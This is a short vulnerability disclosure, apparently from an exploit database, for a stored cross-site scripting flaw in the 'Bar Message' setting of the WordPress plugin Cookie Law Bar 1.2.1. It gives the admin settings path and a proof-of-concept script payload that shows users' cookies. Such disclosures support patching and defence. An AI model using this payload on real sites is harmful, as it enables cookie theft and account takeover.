WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)

# Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
# Date: 2021-05-24
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/
# Software Link: https://wordpress.org/plugins/cookie-law-bar/
# Version: 1.2.1
# Tested on: Ubuntu 16.04 LTS, Wordpress 5.7.2

# the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input
# an authenticated attacker can retrieve cookies / sensitive data of all Wordpress users

# proof of concept
# navigate to the settings of the Cookie Law Bar under

http://localhost/wp-admin/options-general.php?page=clb

# inject the payload: </script><script>alert(document.cookie)</script> into the "Bar Message field" and save it

# browsing through the Wordpress pages shows the cookies